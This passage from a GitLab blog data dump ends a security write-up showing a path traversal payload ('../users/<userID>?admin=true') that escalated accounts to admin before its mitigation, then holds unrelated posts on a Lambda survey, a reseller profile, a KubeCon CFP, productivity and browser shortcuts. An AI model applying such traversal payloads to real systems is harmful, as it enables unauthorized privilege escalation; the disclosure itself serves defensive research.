hand. While investigating and verifying the issue on GitLab's `staging` environment it could be used to promote regular accounts to `admin`. The actual payload is quite simple: `../users/\u003CuserID>?admin=true` it resulted in a PUT request to `https://gitlab.com/api/v4/users/\u003CuserID>?admin=true`.\n\nWithin the staging environment the exploit payload looked like this within the Chrome developer tools:\n\n![exploit](https://about.gitlab.com/images/blogimages/Path-traversal/get_admin.png)\n\nThe reward was a shiny 🔧 sign to access the admin area on the targeted account:\n\n![wrench](https://about.gitlab.com/images/blogimages/Path-traversal/be_admin.png)\n\nThe modification was done using the \"Change linked Group\" feature for a GitLab Bronze subscription. But as the same vector can be used with purchased CI minutes it would just have cost eight dollars and a few clicks to become an admin on `gitlab.com` 😏.\n\n## Mitigation\n\nThe issue was mitigated promptly by the [fulfillment backend team](/handbook/engineering/development/fulfillment/). The application is now enforcing the `@namespace_id` parameter to be numerical. Also additional defense-in-depth measures have been taken to avoid path traversals and similar attacks.\n\n## Conclusion\n\nWe've seen here a very good example of the typical pitfalls in modern applications which make use of backend services via API calls. The path traversal in combination with the ability to inject further attributes in the API call allowed us to cause severe impact. The issue, even though present in the `customers.gitlab.com` code base, could be used to elevate user privileges on `gitlab.com`.\n\n***Security Research at GitLab***\n*Security research is one component of our broader security organization's efforts to  enhance the security posture of our company, products, and client-facing services. See our [Security Handbook](/handbook/security) to learn more.*\n\nPhoto by [Marta Branco](https://www.pexels.com/@martabranco?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/closeup-photo-of-black-and-blue-keyboard-1194713/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[674,2952],{"slug":26089,"featured":6,"template":678},"shopping-for-an-admin-account","content:en-us:blog:shopping-for-an-admin-account.yml","Shopping For An Admin Account","en-us/blog/shopping-for-an-admin-account.yml","en-us/blog/shopping-for-an-admin-account",{"_path":26095,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26096,"content":26101,"config":26106,"_id":26108,"_type":16,"title":26109,"_source":17,"_file":26110,"_stem":26111,"_extension":20},"/en-us/blog/aws-lambda-usage-stats",{"title":26097,"description":26098,"ogTitle":26097,"ogDescription":26098,"noIndex":6,"ogImage":18477,"ogUrl":26099,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26099,"schema":26100},"AWS Lambda usage survey results","The results of our quick AWS Lambda usage survey","https://about.gitlab.com/blog/aws-lambda-usage-stats","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"AWS Lambda usage survey results\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2019-11-27\",\n      }",{"title":26097,"description":26098,"authors":26102,"heroImage":18477,"date":26103,"body":26104,"category":813,"tags":26105},[2544],"2019-11-27","\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2019-12-03.\n{: .alert .alert-info .note}\n\nIn early October, I asked the community to [share your AWS Lambda tooling habits](https://forms.gle/9xhjaPxKdZsHDs2V9), so we can better serve your needs from within GitLab. This blog post presents the results of that survey. The survey was shared on Reddit, some Facebook Groups, and on the GitLab Twitter and Facebook channels. All told we received 58 responses which makes the results thought-provoking, but certainly not conclusive. \n\n## Intro\n\nSo, what did I ask you about? I had a few assumptions in mind when I put together the survey.\n\n- Lambda is mostly used by developers, but - at least in the enterprise - ops people might be involved too, because of monitoring or security.\n- There are differences between hobby and professional usage, and I wanted to be able to try to filter out hobby users.\n- Serverless has an adoption path in the enterprise. This might result in it being used only for backoffice scripts at first. So I wanted to know if it's used in production or backoffice scripting only.\n\nBesides testing these assumptions, I wanted to learn about usage habits with respect to:\n\n- Frameworks used (if any)\n- Testing tools and approaches used\n- CI/CD tools used\n- Monitoring and debugging tools and approaches followed\n\nWho answered the survey?\n{: .note.text-center}\n\n![User role](https://about.gitlab.com/images/blogimages/aws-lambda-survey-2019/aws-population.png)\n\n## How do we write code for AWS Lambda\n\nThe first interesting topic was what frameworks were being used for AWS Lambda. It was possible to select multiple options and responders could even provide a free text answer.\n\n![Company size](https://about.gitlab.com/images/blogimages/aws-lambda-survey-2019/aws-frameworks.png){: .small.left.wrap-text}\n\nAs many responders chose more than just a single option, we should look a bit behind the data to understand more. From that you can see that the [serverless framework](/topics/serverless/) is popular with these respondents and its use is  wide-spread. The *Other* section is quite scattered and there are no other big players; responses included Zappa, Chalice, Netlify function, etc. \n\nI thought that there might be differences once I controlled for the company size. I expected more Terraform and less CLI usage as the company size increases. I didn't look into statistical significance, but a simple eye-ball test shows that SMBs are going heads down with tech stacks. They are the strongest users of both serverless and Terraform. I'd say that enterprise users try to follow along, but have a quite big direct usage of AWS CLI too. Why might this be true? A few scenarios come to mind that can think about:\n\n- Enterprises are lagging in terms of technology adoption, thus their Terraform usage is lower\n- They use AWS CLI more extensively as the serverless framework can't fulfill all their use cases\n- Possibly we don't have enough data and with a stronger analysis it would turn out that there are no differences\n\n## What about testing\n\nWhen asked about the challenges serverless technologies pose one topic repeatedly arose: the lack of good testing infrastructure.\n\nAt GitLab we strive to provide outstanding CI/CD capabilities for testing. We also work hard to spread best practices. \n\nI asked the community about the current approaches they take to CI/CD and testing. Here again, multiple answers were allowed.\n\n![Company size](https://about.gitlab.com/images/blogimages/aws-lambda-survey-2019/aws-testing.png){: .small.right.wrap-text}\n\nThis pie chart is filtered to show only non-hobby projects. Even here, almost every fifth project has no testing at all! Otherwise, we can barely speak about test pyramids here as the majority of the projects either don't run any tests or run only unit tests.\n\nGetting into the data by company size, we see what we would expect: as the company size grows, testing becomes more important.\n\n## CI/CD bias\n\nThe survey also contained a question about which CI/CD tools are being used. I skipped the analysis here. As the survey was mostly shared by GitLab team members, and through GitLab channels, clearly the majority of responders use GitLab. A wise choice! \n\n## Monitoring\n\nAlongside developing and deploying software, thinking about its operational health in production is just as important. This led me to ask a few questions on Lambda monitoring habits.\n\n![Company size](https://about.gitlab.com/images/blogimages/aws-lambda-survey-2019/aws-monitoring.png){: .small.left.wrap-text}\n\nEven given the small sample size, I was surprised the vast majority choose AWS CloudWatch. I expected most production environments would use more advanced instrumentation, and I was wrong.\n\nA related question I asked is, \"What metrics are you  most interested in?\" This was a free-text answer. There were no surprises here with \"error rates\" coming out as the clear winner.\n\n## Conclusion\n\nBased on the survey it became clear that even today, GitLab can be used very well with AWS lambda. To make getting started easy, we've created a project template that uses GitLab Pages to host the frontend of your app, and AWS Lambda for your backend needs. Besides the basic hosting needs, our templates have `serverless-offline` support added, so you can start writing tests against it without any additional setup needed. You can easily begin by starting a [new project using the Serverless Framework/JS template](https://gitlab.com/projects/new).\n\n![Easy getting started with project templates](https://about.gitlab.com/images/blogimages/aws-lambda-survey-2019/aws-project-template.png){: .medium}\n\nThese were the insights I gathered about the data. Because this data was provided by the community, I'm making it available to everyone. You can [download the responses as a csv](/images/blogimages/aws-lambda-survey-2019/aws-lambda-survey-responses.csv). In case you are serious about Serverless usage in production, I'd love to hear your insights! Feel free to [reach out to me](https://gitlab.com/nagyv.gitlab)!\n",[267,815,232],{"slug":26107,"featured":6,"template":678},"aws-lambda-usage-stats","content:en-us:blog:aws-lambda-usage-stats.yml","Aws Lambda Usage Stats","en-us/blog/aws-lambda-usage-stats.yml","en-us/blog/aws-lambda-usage-stats",{"_path":26113,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26114,"content":26120,"config":26124,"_id":26126,"_type":16,"title":26127,"_source":17,"_file":26128,"_stem":26129,"_extension":20},"/en-us/blog/creationline-post",{"title":26115,"description":26116,"ogTitle":26115,"ogDescription":26116,"noIndex":6,"ogImage":26117,"ogUrl":26118,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26118,"schema":26119},"Meet Creationline team members who contribute to GitLab","Creationline contributes to GitLab as a reseller. Three team members explain how it works.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673096/Blog/Hero%20Images/contributors-cover.png","https://about.gitlab.com/blog/creationline-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet Creationline team members who contribute to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-11-27\",\n      }",{"title":26115,"description":26116,"authors":26121,"heroImage":26117,"date":26103,"body":26122,"category":813,"tags":26123},[21623],"\nFor this edition of the [GitLab contributor blog posts](/blog/tags.html#contributors), I'm\nexcited to introduce Creationline, which is a [GitLab reseller in Japan](/resellers/creationline/). As you read this blog post, you will find Creationline is not a typical reseller. Their team were able to help both their customers and the GitLab community through their contributions. Here's what three Creationline employees had to share with us. \n\n## Decision to partner with Gitlab and contributing as a reseller\n#### [Jean-Baptiste Vasseur](https://gitlab.com/jvasseur), Agile Coach and DevOps Consultant \n\nWhen we explored the [DevOps](/topics/devops/) landscape about 3 years ago, we accidentally came across [GitLab’s handbook](/handbook/). This was a revelation for us! Pushing transparency to a point where job applicants know how GitLab members are expected to behave with candidates, a company culture where people are not afraid to communicate their failures, published company business targets and how the team is planning to achieve them, and of course how an open source software philosophy applied to every aspect of GitLab. We felt connected to so many aspects of GitLab’s company culture that I wanted to find a way to work together.\n\nAs [Creationline](http://www.creationline.com/gitlab) was already reselling licenses for other cloud and DevOps companies, and as GitLab was looking for more partners in different countries at that time, we felt confident we had a very good match and started distributing GitLab licenses in June, 2017.\n\nI usually invest a lot of my time prospecting clients, providing technical and value chain consulting, and contributing to the local community by co-organizing meetups and delivering CI/CD workshops. While I also love writing code – I come from an engineering background – it's a challenge to find the time to make open source contributions. However, while I was consulting for a large IT firm that was developing an internal DevOps package built around GitLab, I had an opportunity to make a valuable contribution to GitLab on the company's behalf. The team had a lot of passion for the project and loved working with the GitLab product, but they got blocked by a missing API and were not comfortable enough with their English to open a merge request.\n\nAs consultants, we did not have the responsibility of adding features or fixing issues on GitLab, but I really wanted to help our client. I explored the source code, figured out the pattern/coding style, and opened my first [merge request](https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/22296). Review happened almost immediately, and GitLab team members were very nice and also challenged me to apply some refactoring, which helped me learn even more about the source code.\n\n![Open Source Summit Japan, 2019](https://about.gitlab.com/images/blogimages/creationline-blogpost/Creationline-OSS-Japan.jpg){: .shadow.medium.center}\nCreationline and GitLab team members at Open Source Summit-Japan\n{: .note.text-center}\n\n## Journey from an end user to a regular contributor to an evangelist\n#### [Hiroyuki Sato](https://gitlab.com/hiroponz), GitLab Evangelist\n\nI started to contribute to GitLab back in 2012. At that time I was already using GitLab at work, and I wanted to fix a bug that I was facing. This issue was preventing the source code diff from being displayed on the screen, but it was only occurring when using Japanese. As this issue was not seen in other languages, this was not a high priority bug, but it was impacting us severely. I found it very natural to fix it myself and to open a [merge request](https://github.com/gitlabhq/gitlabhq/pull/2100). In order to solve this, I also had to first fix the gem ‘grit_ext’ that GitLab was using, and created [another merge request](https://github.com/gitlabhq/grit_ext/pull/1).\n\nBoth merge requests got reviewed and merged within three days! This experience was so exciting that I started to contribute more and created [multiple merge requests](https://github.com/gitlabhq/gitlabhq/pulls?q=is%3Apr+author%3Ahiroponz+is%3Aclosed), and eventually I was awarded the [MVP](https://about.gitlab.com/community/mvp/) for GitLab's 5.1 release.\n\nLater on, as I really loved GitLab as a product, I started to explore if there was a way for me to work more closely with GitLab. This is when I met Creationline, which had just become the exclusive reseller in Japan and I decided to join them in April, 2018.\n\nNow, I am involved in pre-sales, marketing, customer support, and I also offer trainings on how to get the best out of GitLab. Of course, I still invest a part of my time to [contribute to GitLab](https://gitlab.com/groups/gitlab-org/-/merge_requests?%0Ascope=all&utf8=%E2%9C%93&state=merged&author_username=hiroponz) to help customers overcome issues/challenges, and this is one of my favorite parts of the job!\n\n## Dogfooding at Creationline\n#### [Yuko Takano](https://gitlab.com/takano_cl), Customer Success Manager\n\nAs a reseller team, we wanted to have more opportunities to use GitLab on a daily basis so we can support our customers better. We also wanted to experience the continuous server side operations, and set up our own instance so that we can capitalize on this experience.\n\nWe started using GitLab inside the GitLab reseller team, and then expanded it to various business functions within our organization. We now use a lot of GitLab features in order to manage source code, visualize our sales and marketing workflow, track translation work, organize OKRs with epics, and we continue to look for other areas to explore.\n\n![GitLab CI workshop](https://about.gitlab.com/images/blogimages/creationline-blogpost/Creationlin-GitLab-workshop.jpg){: .shadow.medium.center}\nCreationline team running the GitLab CI Workshop\n{: .note.text-center}\n\n## Interested in learning how you can contribute?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can\nlearn how you can contribute to GitLab's code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n",[267,815,2704,774],{"slug":26125,"featured":6,"template":678},"creationline-post","content:en-us:blog:creationline-post.yml","Creationline Post","en-us/blog/creationline-post.yml","en-us/blog/creationline-post",{"_path":26131,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26132,"content":26137,"config":26142,"_id":26144,"_type":16,"title":26145,"_source":17,"_file":26146,"_stem":26147,"_extension":20},"/en-us/blog/kubecon-eu-cfp-support",{"title":26133,"description":26134,"ogTitle":26133,"ogDescription":26134,"noIndex":6,"ogImage":18477,"ogUrl":26135,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26135,"schema":26136},"KubeCon EU CFP Support","GitLab's Tech Evangelism team wants to help you get on stage at KubeCon EU!","https://about.gitlab.com/blog/kubecon-eu-cfp-support","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"KubeCon EU CFP Support\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Chin\"}],\n        \"datePublished\": \"2019-11-27\",\n      }",{"title":26133,"description":26134,"authors":26138,"heroImage":18477,"date":26103,"body":26140,"category":18484,"tags":26141},[26139],"Emily Chin","\n{::options parse_block_html=\"true\" /}\n\nIt’s that time of year: the deadline for proposals to the [2020 KubeCon/ CloudNativeCon Europe](https://events19.linuxfoundation.org/events/kubecon-cloudnativecon-europe-2020/) is coming up fast. Not to worry though; GitLab’s [Technical Evangelism](/handbook/marketing/developer-relations/developer-evangelism/) team is here to help. \n\nI’m new to the Cloud Native community but, after attending my very first KubeCon this week in my backyard of [San Diego](https://events19.linuxfoundation.org/events/kubecon-cloudnativecon-north-america-2019/), I couldn’t be more excited to dive in. Listening in on the amazing talks from the cloud native community was energizing, inspiring, and illuminating, and it’s awesome that GitLab wants to empower our community to share their ideas and learnings too. Our team is ready to review your proposals and flesh out any ideas that folks want to submit to the open call for proposals. Let us know how we can help today: the CFP closes on Wednesday, December 4, 2019 at 11:59PM PDT. \n\nGitLab’s community is passionate, vocal, and deeply engaged, and elevating the voices of our users. If we can support with your submissions, feel free to complete [this form](https://forms.gle/W1EWHKVjptjBLSSB7) to get the ideas flowing, or reach out to our Director of Technical Evangelism directly on Twitter – [@pritianka](https://twitter.com/pritianka).\n\nThe call for proposals for [GitLab KubeCon](https://about.gitlab.com/events/kubecon/) Amsterdam closes on December 4! [Get more details and submit your talks here](https://events19.linuxfoundation.org/events/kubecon-cloudnativecon-europe-2020/call-for-proposals/).\n",[1899,1899,1899],{"slug":26143,"featured":6,"template":678},"kubecon-eu-cfp-support","content:en-us:blog:kubecon-eu-cfp-support.yml","Kubecon Eu Cfp Support","en-us/blog/kubecon-eu-cfp-support.yml","en-us/blog/kubecon-eu-cfp-support",{"_path":26149,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26150,"content":26156,"config":26161,"_id":26163,"_type":16,"title":26164,"_source":17,"_file":26165,"_stem":26166,"_extension":20},"/en-us/blog/e-factor-productivity",{"title":26151,"description":26152,"ogTitle":26151,"ogDescription":26152,"noIndex":6,"ogImage":26153,"ogUrl":26154,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26154,"schema":26155},"Improve your productivity by tracking your time and measuring your E-factor","Sharing my personal experience of how tracking my time while working remotely helped me be more productive.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673115/Blog/Hero%20Images/e-factor.jpg","https://about.gitlab.com/blog/e-factor-productivity","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improve your productivity by tracking your time and measuring your E-factor\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matej Latin\"}],\n        \"datePublished\": \"2019-11-26\",\n      }",{"title":26151,"description":26152,"authors":26157,"heroImage":26153,"date":26158,"body":26159,"category":734,"tags":26160},[18742],"2019-11-26","\nBack in the day, when I worked on-site and in open plan offices, I always felt unproductive despite being always busy. It was a paradox that I couldn’t understand. How come I’m rushing to do a lot of things all the time but still feel like I’m producing nothing that is truly valuable? Why do I get more work done in my “work from home day” that I only get every two weeks, than I do in the office?\n\nAfter joining GitLab and reading a couple of books on workplaces and productivity, I now understand why this was the case. Cal Newport’s [Deep Work](https://www.goodreads.com/book/show/25744928-deep-work) was the most illuminating book that I read on productivity. He breaks the types of work into two categories:\n\n**Shallow work**: *Non-cognitively demanding, logistical-style tasks, often performed while distracted. These efforts tend to not create much new value in the world and are easy to replicate.*\n\n**Deep work**: *The ability to focus, be uninterrupted for long stretches of time and fall into a [state of flow](https://en.wikipedia.org/wiki/Flow_(psychology)).*\n\nIn his **Deep Work Hypothesis**, he claims that the ability to focus separates the top performers from the rest:\n\n> The ability to perform deep work is becoming increasingly rare at exactly the same time it’s increasingly valuable in our economy. As a consequence, the few who cultivate this skill and then make it the core of their working life will thrive.\n\nWhile I was doing a lot of different things at the same time, it was mostly reactive work instead of valuable, [proactive](/handbook/product/ux/how-we-work/#proactive-and-reactive-ux) work. Replying to emails, attending meetings, chatting on Slack, and similar work demands a lot of energy but returns very little, if any, value. Taking this all into account, I decided to go back to working remotely because I knew [I could control my working environment better and be more productive](/blog/eliminating-distractions-and-getting-things-done/). That’s why I ended up joining GitLab.\n\n## The E-factor\n\n*Peopleware* by Tom DeMarco and Timothy Lister is another book that is popular with GitLab team members. In the book, the authors introduce a concept called *the E-factor*. To put it simply, the E-factor is about measuring brain time *versus* body time – so how much time a person is working at their full potential *versus* how much time they’re present at the office. The formula to calculate it is the following:\n\n> E-factor = uninterrupted hours / body-present hours\n\nSo when I worked in open plan offices, I was present for about eight hours, but had a maximum of about one or two hours of uninterrupted time. That means that my E-factor ranged from *0.125 to 0.25*. It’s impossible to produce valuable work with such a low E-factor. Switching to working remotely at an all-remote company immediately improved this but I recently decided to take it even further. I measured how I spent my time for two weeks while working at GitLab. The first week was to document how I had already been spending my time and then the second week with the introduction of improvements that would increase my uninterrupted time. Research suggests that intense concentration is only possible for up to four hours per day so I was aiming to get to four hours of uninterrupted time altogether, but ideally in a single block. Here’s how I spent time before the improvements:\n\n![My week before improvements](https://about.gitlab.com/images/blogimages/before-improvements.jpg){: .large.center}\n\nI tracked my time by dividing days into 15-minutes blocks. Light grey is sleep, light blue is family time, and dark blue is work time. Red colors are for shallow work, meetings and email time. The more of the dark blue blocks and the more connected the better.\n{: .note.text-center}\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nGet the [Google Spreadsheet template for tracking time](https://docs.google.com/spreadsheets/d/10CnZlCW0fu-GXqGhK7Lysj5QzTGIqYjdv6yrUlbARzo/edit?usp=sharing). Go to *File* > *Make a copy* to get an editable version.\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nBefore introducing the improvements, this is how my usual day looked like:\n\n* I checked my email first thing in the morning, which could cause me to spend up to one hour just replying to other people.\n* I used to study a book or take course lessons in the morning as a part of professional self-improvement. This was usually half an hour. By the time I actually started working it’d be 9:30.\n* I’d work for a couple of hours and stop for a quick snack at 11:30. This was the first stretch of uninterrupted time.\n* After the snack I’d have another similar stretch of time but that was usually just an hour (mostly because I’d get distracted with shallow work).\n\nSo if I put all this together, I had about three hours of uninterrupted time every day. It’s not that bad (and it’s definitely better than what I experienced in on-site roles in the past) but I wanted to do better. I especially wanted to increase the amount of uninterrupted time in a single stretch. So I decided to make the following improvements:\n\n* I started checking my email in the afternoon, after lunch (that’s 3pm for me).\n* I moved the self-improvement activities until after the first snack at 11:30am.\n* I realized I spent an hour and a half showering and eating breakfast in the morning, which was way too much. I reduced this to one hour so I could start working 30 minutes earlier (8am instead of 8:30am).\n\n![My week after improvements](https://about.gitlab.com/images/blogimages/after-improvements.jpg){: .large.center}\nA lot more dark blue, and a lot more of connected dark blue blocks after improvements.\n{: .note.text-center}\n\nWith these improvements, I was able to increase the first stretch of uninterrupted time from two hours to three and a half hours. With an additional one to two hours of uninterrupted time after the snack that can sum up to four and a half to five and a half hours of uninterrupted time each day. My E-factor increased to *0.6875*, that’s a **275% increase** compared to my times in the office! These changes to my workflow help me perform deep work and fall into a state of flow twice a day, and I noticed drastic improvements in my productivity and in my psychological state as well.\n\n## Things that enabled me to introduce these improvements\n\n### Separate room for work\n\nI have a study at home where I can be alone and focus. I think this is a very important thing for all remote workers.\n\n### Strong working routine\n\nAt GitLab, working remotely and asynchronously gives us the [freedom to shape our working schedule as we please](https://handbook.gitlab.com/handbook/values/#managers-of-one) but a strong working routine has lots of benefits. Starting work at the same time in the morning helps with creating more uninterrupted time and productivity.\n\n### Timezone\nI’m based in Europe and most of my colleagues are based in the U.S. This means that I can easily block out time for focused work and eliminate all distractions, including Slack.\n\n### My Slack and email policy\n\nEven when I’m not in my focus time, [I have Slack notifications disabled](https://handbook.gitlab.com/handbook/values/#bias-towards-asynchronous-communication). I even disabled the small red dots on the app icon in the dock so that nothing has the possibility of distracting me. As for email, I’ll only check my inbox after lunch, that’s well after I had my two blocks of uninterrupted time.\n\n### Writing down tasks\n\nI always write down the things that I need to work on. I have a small notebook on my desk and at the end of each day, I write down the things I need to work on the next day. This way, I can go straight to work in the morning.\n\n### Keeping a journal of tasks\n\nRecently, I also started keeping track of all the things I need to work on in my “tasks journal”. It’s just a project on GitLab where I keep a couple of Markdown files for current tasks that I’m working on and an archive of tasks that I worked on in the past. They’re all divided by weeks. For example, at the time of writing this paragraph, it’s week 33 of this year so my [current tasks](https://gitlab.com/matejlatin/focus/blob/master/Tasks/current.md) are things that I want to work on in this week. At the end of the week, I’ll check the progress and [archive it](https://gitlab.com/matejlatin/focus/tree/master/Tasks) so I can always check back later.\n\nKeeping a task journal adds a stronger sense of continuity and sharp focus to my work. In the spirit of [transparency](https://handbook.gitlab.com/handbook/values/#public-by-default), I share this publicly with all my co-workers so everyone can see what I’m working on and check my availability.\n\n### Working asynchronously\n\nOne of the greatest benefits of working at GitLab is [being encouraged to work asynchronously](/handbook/communication/). Because our team isn't tied to the same working hours, I can block out time for focus without feeling guilty that I’m not available to everyone all the time. It’s interesting how working like this makes you realize that most interruptions aren’t as urgent as we tend to believe.\n\n## Advice for non-remote workers\n\nIf you’re required to work in an office – possibly a working environment full of distractions – implementing these strategies can be a lot more challenging. My advice for non-remote workers is to ask your manager for “work from home” days. Maybe start with one day per week and see how it goes. If your manager doesn't agree, try tracking your time when you work in the office like I did. Present the chart to them and tell them about the deep work and the E-factor. Explain to your manager that you want to increase your uninterrupted time which will help you complete more valuable work. Tell them how working from home will help you achieve this, and how you will change your workflow to be more productive (look for inspiration from my improvements I described in this article). Be committed to producing more meaningful work and be clear that working from home is only a means to an end. Offer to track your time at home to compare with your time spent your in the office, especially if your manager doesn’t seem to be in favor of these changes.\n\nIf working from home is still not an option, consider finding a quiet spot in the office where you’ll be uninterrupted: Perhaps the lounge, the garden, or even the reception area. Try moving to an area away from your teammates and sit with people you don’t know as well. They’re much less likely to disturb you. When I was working from a busy office in central London, I loved going to a coffee shop for an hour or two. I managed to get some work done and enjoyed the short trip to the shop and back. The walk and getting out of the office helped me relax a bit as well.\n\nThese changes to how we work are all about improving productivity and quality of work. In an ideal working environment, everyone would measure their E-factors and they’d brag about their uninterrupted time instead of complaining about how many meetings they have to attend in an effort to perform busyness to their colleagues.\n\nPhoto by [Émile Perron](https://unsplash.com/@emilep?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/productivity?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,2249,2248],{"slug":26162,"featured":6,"template":678},"e-factor-productivity","content:en-us:blog:e-factor-productivity.yml","E Factor Productivity","en-us/blog/e-factor-productivity.yml","en-us/blog/e-factor-productivity",{"_path":26168,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26169,"content":26174,"config":26178,"_id":26180,"_type":16,"title":26181,"_source":17,"_file":26182,"_stem":26183,"_extension":20},"/en-us/blog/gitlab-daily-tools",{"title":26170,"description":26171,"ogTitle":26170,"ogDescription":26171,"noIndex":6,"ogImage":18477,"ogUrl":26172,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26172,"schema":26173},"How to improve your daily GitLab experience","Personal tools and tips for a more productive GitLab experience","https://about.gitlab.com/blog/gitlab-daily-tools","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to improve your daily GitLab experience\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2019-11-26\",\n      }",{"title":26170,"description":26171,"authors":26175,"heroImage":18477,"date":26158,"body":26176,"category":18484,"tags":26177},[2544],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\u003C!-- Content start here -->\n\nThis is a collection of tools and settings I use to create a more productive GitLab experience. \n\n*Disclaimer: all screenshots are using Firefox's Hungarian language setting.*\n\n## Easy navigation\n\nI use Firefox, but it should work in Chrome too. Basically, after bookmarking a website, you can add a `keyword` to it. This allows for quick navigation.\n\n![Firefox bookmarks with keywords](https://about.gitlab.com/images/blogimages/gitlab-daily-tools/firefox-bookmarks.png){: .shadow.medium}\n\nMy keyworded navigation includes the following pages:\n\n- `gl-epics` --> [https://gitlab.com/groups/gitlab-org/-/epics?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Asystem&search=](https://gitlab.com/groups/gitlab-org/-/epics?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Asystem&search=)\n- `gl-issues` --> [https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Asystem&search=](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Asystem&search=)\n- `gl-product` --> [https://gitlab.com/groups/gitlab-org/-/boards/1342179?label_name[]=group%3A%3Asystem&search=](https://gitlab.com/groups/gitlab-org/-/boards/1342179?label_name[]=group%3A%3Asystem&search=)\n- `gl-new` --> [https://gitlab.com/gitlab-org/gitlab/issues/new?issuable_template=Problem_Validation&issue[title]=](https://gitlab.com/gitlab-org/gitlab/issues/new?issuable_template=Problem_Validation&issue[title]=)\n\n## Easy search (complex way)\n\nThe quick-links above are nice, but you browser can do even more!\nYou can actually use the above keywords to pass a search query while you navigate to the given page.\n\n![Search with keywords](https://about.gitlab.com/images/blogimages/gitlab-daily-tools/firefox-search.png){: .shadow.medium}\n\nBy writing `gl-new This is a new issue` a \"new issue\" page will open and prefill `This is a new issue` as the title. You can use this pre-fill mechnism to filter the issues, epics lists or a board too.\n\nHow can you achieve this? The argument we are passing for `gl-new` can be referenced as `%s` in the final url.\nThis means that my actual bookmarked urls are the following:\n\n- `gl-epics` --> [https://gitlab.com/groups/gitlab-org/-/epics?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Asystem&search=%s](https://gitlab.com/groups/gitlab-org/-/epics?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Asystem&search=%s)\n- `gl-issues` --> [https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Asystem&search=%s](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Asystem&search=%s)\n- `gl-product` --> [https://gitlab.com/groups/gitlab-org/-/boards/1342179?label_name[]=group%3A%3Asystem&search=%s](https://gitlab.com/groups/gitlab-org/-/boards/1342179?label_name[]=group%3A%3Asystem&search=%s)\n- `gl-new` --> [https://gitlab.com/gitlab-org/gitlab/issues/new?issuable_template=Problem_Validation&issue[title]=%s](https://gitlab.com/gitlab-org/gitlab/issues/new?issuable_template=Problem_Validation&issue[title]=%s)\n\n*Note:* unfortunately, only simple strings can be searched this way. Adding extra labels does not work.\n\n## Easy search (simple way)\n\nThe above is one way to search different sites easily. You can achieve something similar (without bookmarks) by adding\na new search engine for your browser.\n\n![Add a search engine](https://about.gitlab.com/images/blogimages/gitlab-daily-tools/firefox-search-engine.png){: .shadow.medium}\n\nI have such search engines added for the GitLab documentation and the GitLab handbook. You can easily add a new search\nby right clicking the search bar on the GitLab docs site, and selecting the `Add a keyword for this search` menu option.\nUnfortunately, the above does not work for the handbook.\n\nTo add handbook search on Firefox, one can use the [Add custom search engine](https://addons.mozilla.org/hu/firefox/addon/add-custom-search-engine/) add-on (you can remove it after adding the engine). On Chrome, you can just add the engine under \nyour settings. To search the handbook, I use Google's site search functionality, and my search engine contains the following url: [https://www.google.com/search?q=site%3Ahttps%3A%2F%2Fabout.gitlab.com%2Fhandbook+%s](https://www.google.com/search?q=site%3Ahttps%3A%2F%2Fabout.gitlab.com%2Fhandbook+%s)\n\n## Quick actions made _really_ quick\n\nI often find myself repeating the same actions, such as adding the same labels to multiple issues or assigning issues to myself. When I want to apply a label, I have to manually type most of the label and autocompleting `~\"workflow::product validation\"` does not help much 